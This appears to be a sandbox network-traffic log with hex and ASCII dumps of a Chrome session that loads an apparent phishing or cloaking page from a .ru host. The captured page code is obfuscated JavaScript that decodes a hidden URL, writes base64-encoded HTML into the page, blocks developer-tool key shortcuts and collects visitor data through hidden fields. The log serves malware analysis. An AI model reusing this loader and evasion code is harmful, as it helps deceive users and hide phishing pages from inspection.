2025-01-10 15:33:12 UTC	1369	IN	Data Raw: 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a 6c 2e Data Ascii: a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296l.
2025-01-10 15:33:12 UTC	1369	IN	Data Raw: 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 28 6d 2c Data Ascii: ,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C(m,
2025-01-10 15:33:12 UTC	1369	IN	Data Raw: 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e Data Ascii: l(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c>>>
2025-01-10 15:33:12 UTC	1369	IN	Data Raw: 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 5b 69 5d Data Ascii: n(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B[i]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49708	188.114.97.3	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:12 UTC	652	OUT	GET /1jVVShGI/ HTTP/1.1 Host: k8.komirath.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:13 UTC	1246	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B3hkkKV8Cnvc%2B%2Bxd4A9ZAbApHUS4FP6SYsVTG7JG166IKksaWRRL%2FehEE45mvvntBw4guXFLBfB9W1dXWUJrblqvfI0vKza0Ru2qNvS7YRCajMrG1carYkI%2BZlWKUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4379&min_rtt=4362&rtt_var=1259&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1556&delivery_rate=636140&cwnd=251&unsent_bytes=0&cid=a55bbc5ad4e76a77&ts=159&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjZHMHBtSVpYaUx6NzgrWVg4MStvU3c9PSIsInZhbHVlIjoibkhJVXF6VUhQSndLYTU1RndmbUpvcTR1K1k2YXNSR3I5M2lvbDJlZnFpZTRrZFVwc1o1bEtSQmR4YXBGSERVdi9MQUtqOFdiRTd6aCtMZWJHSVdrWm9EN1hKekNxMzhLbGUxWHdNRHlhVTg1RXI0MkdOcEV2bEVId0RnVUc0SVQiLCJtYWMiOiIwMDQwNmQ2ZjIyYTMwNjk4ODRkNjBjYWU2NjkxYzBmYmE1YzE0OGU5NWJiMzRlZDIzZTNmNWViYTFlZGE4NjIzIiwidGFnIjoiIn0%3D; expires=Fri, 10-Jan-2025 17:33:13 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-10 15:33:13 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 5a 51 61 33 42 4d 57 6b 56 42 4d 33 68 30 59 53 74 32 63 33 52 55 61 48 42 7a 5a 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 32 39 6c 62 57 35 68 63 46 64 6e 4e 6b 35 6a 4e 57 4e 30 51 31 42 4c 4e 57 4a 4a 64 31 42 51 54 45 59 30 51 32 59 77 5a 7a 46 33 63 6e 64 34 56 7a 41 31 57 43 73 34 4e 56 42 33 56 6c 67 76 64 6b 63 30 52 54 4a 68 61 46 4a 4e 61 6a 56 43 64 54 5a 57 54 6d 64 4b 55 55 5a 33 63 55 6c 32 4d 57 64 6f 59 54 56 6f 63 56 4a 56 4d 55 35 44 52 7a 6b 34 64 45 39 50 61 43 39 79 52 43 39 6b 52 6d 6c 74 57 6d 78 59 5a 6c 68 56 56 30 4e 51 63 45 6c 45 53 79 74 71 55 33 6c 75 57 6d 46 6d 4e 33 42 50 61 57 74 4b 4e 30 38 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjZQa3BMWkVBM3h0YSt2c3RUaHBzZFE9PSIsInZhbHVlIjoic29lbW5hcFdnNk5jNWN0Q1BLNWJJd1BQTEY0Q2YwZzF3cnd4VzA1WCs4NVB3Vlgvdkc0RTJhaFJNajVCdTZWTmdKUUZ3cUl2MWdoYTVocVJVMU5DRzk4dE9PaC9yRC9kRmltWmxYZlhVV0NQcElESytqU3luWmFmN3BPaWtKN08
2025-01-10 15:33:13 UTC	1369	IN	Data Raw: 38 32 66 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 6e 6f 74 20 68 6f 77 20 68 69 67 68 20 79 6f 75 20 68 61 76 65 20 63 6c 69 6d 62 65 64 2c 20 62 75 74 20 68 6f 77 20 79 6f 75 20 6d 61 6b 65 20 61 20 70 6f 73 69 74 69 76 65 20 64 69 66 66 65 72 65 6e 63 65 20 74 6f 20 74 68 65 20 77 6f 72 6c 64 2e 20 2d 2d 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2a 20 49 20 66 69 6e 64 20 74 68 61 74 20 74 68 65 20 68 61 72 64 65 72 20 49 20 77 6f 72 6b 2c 20 74 68 65 20 6d 6f 72 65 20 6c 75 63 6b 20 49 20 73 65 65 6d 20 74 6f 20 68 61 76 65 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 4c 4f 43 35 72 62 32 31 70 63 6d 46 30 61 43 35 79 64 53 38 78 61 6c 5a 57 55 32 68 48 53 53 38 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 Data Ascii: 82f... Success is not how high you have climbed, but how you make a positive difference to the world. --><script>/* I find that the harder I work, the more luck I seem to have. */if(atob("aHR0cHM6Ly9LOC5rb21pcmF0aC5ydS8xalZWU2hHSS8=") == "nomat
2025-01-10 15:33:13 UTC	733	IN	Data Raw: 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 59 30 70 4a 52 46 70 78 51 57 6c 6d 64 69 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 32 4e 4b 53 55 52 61 63 55 46 70 5a 6e 59 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 49 32 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 Data Ascii: Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojY0pJRFpxQWlmdiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2NKSURacUFpZnYuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTI2cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3B
2025-01-10 15:33:13 UTC	1369	IN	Data Raw: 63 35 34 0d 0a 36 5a 54 6f 67 59 32 46 73 59 79 67 75 4f 54 41 77 63 6d 56 74 49 43 73 67 4c 6a 4e 32 64 79 6b 37 66 51 30 4b 49 32 4e 4b 53 55 52 61 63 55 46 70 5a 6e 59 67 4c 6d 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 43 31 6a 5a 57 35 30 5a 58 4a 37 61 6e 56 7a 64 47 6c 6d 65 53 31 6a 62 32 35 30 5a 57 35 30 4f 6d 4e 6c 62 6e 52 6c 63 69 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 32 4e 4b 53 55 52 61 63 55 46 70 5a 6e 59 75 62 58 51 74 4e 58 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 6a 4e 79 5a 57 30 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 6a 53 6b 6c 45 57 6e 46 42 61 57 5a 32 49 43 35 74 64 43 30 30 49 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 69 41 78 63 6d 56 74 49 57 6c 74 63 47 39 79 64 Data Ascii: c546ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI2NKSURacUFpZnYgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI2NKSURacUFpZnYubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNjSklEWnFBaWZ2IC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9yd
2025-01-10 15:33:13 UTC	1369	IN	Data Raw: 30 59 55 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 68 62 48 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 4d 70 49 48 78 38 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 74 5a 58 52 68 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 46 73 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 32 4e 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 31 6c 64 47 46 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4f 44 55 70 44 51 6f 67 49 43 41 67 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e Data Ascii: 0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50Ln
2025-01-10 15:33:13 UTC	425	IN	Data Raw: 63 55 46 70 5a 6e 59 69 49 47 4e 73 59 58 4e 7a 50 53 4a 6a 59 58 42 30 59 32 68 68 4c 57 4e 76 62 6e 52 68 61 57 35 6c 63 69 49 2b 44 51 6f 38 5a 47 6c 32 49 47 6c 6b 50 53 4a 43 53 47 78 69 63 56 64 43 54 6b 39 6a 49 69 42 6a 62 47 46 7a 63 7a 30 69 61 6e 56 7a 64 47 6c 6d 65 53 31 6a 62 32 35 30 5a 57 35 30 4c 57 4e 6c 62 6e 52 6c 63 69 49 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 30 5a 58 68 30 4c 57 4e 6c 62 6e 52 6c 63 69 49 2b 44 51 6f 38 5a 6d 39 79 62 53 42 70 5a 44 30 69 53 6b 68 47 52 6e 70 77 55 30 68 36 59 79 49 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 6a 5a 6c 39 30 64 58 4a 75 63 33 52 70 62 47 55 69 49 47 6c 6b 50 53 4a 6a 5a 69 49 2b 50 43 39 6b 61 58 59 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c Data Ascii: cUFpZnYiIGNsYXNzPSJjYXB0Y2hhLWNvbnRhaW5lciI+DQo8ZGl2IGlkPSJCSGxicVdCTk9jIiBjbGFzcz0ianVzdGlmeS1jb250ZW50LWNlbnRlciI+DQo8ZGl2IGNsYXNzPSJ0ZXh0LWNlbnRlciI+DQo8Zm9ybSBpZD0iSkhGRnpwU0h6YyI+DQo8ZGl2IGNsYXNzPSJjZl90dXJuc3RpbGUiIGlkPSJjZiI+PC9kaXY+DQo8aW5wdXQgdHl
2025-01-10 15:33:13 UTC	1369	IN	Data Raw: 63 39 61 0d 0a 6e 5a 57 78 70 62 6d 73 69 49 48 5a 68 62 48 56 6c 50 53 49 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 70 63 43 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 47 6c 77 49 69 42 32 59 57 78 31 5a 54 30 69 56 57 35 72 62 6d 39 33 62 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 48 56 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 64 Data Ascii: c9anZWxpbmsiIHZhbHVlPSIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRpcCIgbmFtZT0iYmx0ZGlwIiB2YWx1ZT0iVW5rbm93biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZHJlZiIgbmFtZT0iYmx0ZHJlZiIgdmFsdWU9IiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZHVhIiBuYW1lPSJibHRkd
2025-01-10 15:33:13 UTC	1369	IN	Data Raw: 31 4e 6a 55 34 4d 54 6b 33 4f 54 51 77 4e 54 41 79 4d 44 45 31 4f 54 55 79 4d 54 63 33 4e 45 35 33 57 48 70 35 57 6b 4e 49 55 30 56 58 54 6c 56 4a 51 6c 4a 53 53 31 6c 59 53 6c 42 4d 54 6c 6c 55 57 6b 4e 4a 53 45 70 49 53 55 4e 4b 52 45 52 58 52 56 6c 4b 53 31 6c 48 51 55 74 4b 56 56 68 51 4a 79 77 67 65 77 30 4b 49 43 41 67 49 47 31 6c 64 47 68 76 5a 44 6f 67 49 6b 64 46 56 43 49 73 44 51 6f 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 79 5a 58 4e 77 62 32 35 7a 5a 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 48 4a 6c 63 33 42 76 62 6e 4e 6c 4c 6e 52 6c 65 48 51 6f 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 64 47 56 34 64 43 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 61 57 59 6f 64 47 56 34 64 43 41 39 50 53 Data Ascii: 1NjU4MTk3OTQwNTAyMDE1OTUyMTc3NE53WHp5WkNIU0VXTlVJQlJSS1lYSlBMTllUWkNJSEpISUNKRERXRVlKS1lHQUtKVVhQJywgew0KICAgIG1ldGhvZDogIkdFVCIsDQogICAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKQ0KICAgIH0pLnRoZW4odGV4dCA9PiB7DQogICAgaWYodGV4dCA9PS
2025-01-10 15:33:13 UTC	495	IN	Data Raw: 69 6c 6c 20 62 65 20 73 75 63 63 65 73 73 66 75 6c 2e 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 4c 4f 43 35 72 62 32 31 70 63 6d 46 30 61 43 35 79 64 53 38 78 61 6c 5a 57 55 32 68 48 53 53 38 3d 22 29 20 21 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 63 6f 6e 73 74 20 4f 48 53 6a 72 71 6c 63 6e 6d 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 63 6f 6e 73 74 20 4f 69 56 6e 6b 45 57 65 58 61 20 3d 20 6e 65 77 20 55 52 4c 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 4c 4f 43 35 72 62 32 31 70 63 6d 46 30 61 43 35 79 64 53 38 78 61 6c 5a 57 55 32 68 48 53 53 38 3d Data Ascii: ill be successful. */}if(atob("aHR0cHM6Ly9LOC5rb21pcmF0aC5ydS8xalZWU2hHSS8=") !== "nomatch"){const OHSjrqlcnm = window.location.hostname.split('.').slice(-2).join('.');const OiVnkEWeXa = new URL(atob("aHR0cHM6Ly9LOC5rb21pcmF0aC5ydS8xalZWU2hHSS8=
2025-01-10 15:33:13 UTC	1369	IN	Data Raw: 32 63 66 36 0d 0a 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 4f 69 56 6e 6b 45 57 65 58 61 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 7b 0d 0a 4f 69 56 6e 6b 45 57 65 58 61 2e 70 61 74 68 6e 61 6d 65 20 3d 20 4f 69 56 6e 6b 45 57 65 58 61 2e 70 61 74 68 6e 61 6d 65 2e 73 6c 69 63 65 28 30 2c 20 2d 31 29 3b 0d 0a 7d 0d 0a 63 6f 6e 73 74 20 75 77 68 44 68 68 43 54 4a 68 20 3d 20 4f 69 56 6e 6b 45 57 65 58 61 2e 70 61 74 68 6e 61 6d 65 2b 27 2f 27 3b 0d 0a 69 66 28 75 77 68 44 68 68 43 54 4a 68 20 3d 3d 20 4c 70 6a 4e 59 55 43 6c 73 41 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 Data Ascii: 2cf63F')[0];if (OiVnkEWeXa.pathname.endsWith('/')) {OiVnkEWeXa.pathname = OiVnkEWeXa.pathname.slice(0, -1);}const uwhDhhCTJh = OiVnkEWeXa.pathname+'/';if(uwhDhhCTJh == LpjNYUClsA){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49710	151.101.130.137	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:13 UTC	620	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://k8.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:13 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2007720 Date: Fri, 10 Jan 2025 15:33:13 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740051-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736523194.879314,VS0,VE1 Vary: Accept-Encoding
2025-01-10 15:33:13 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
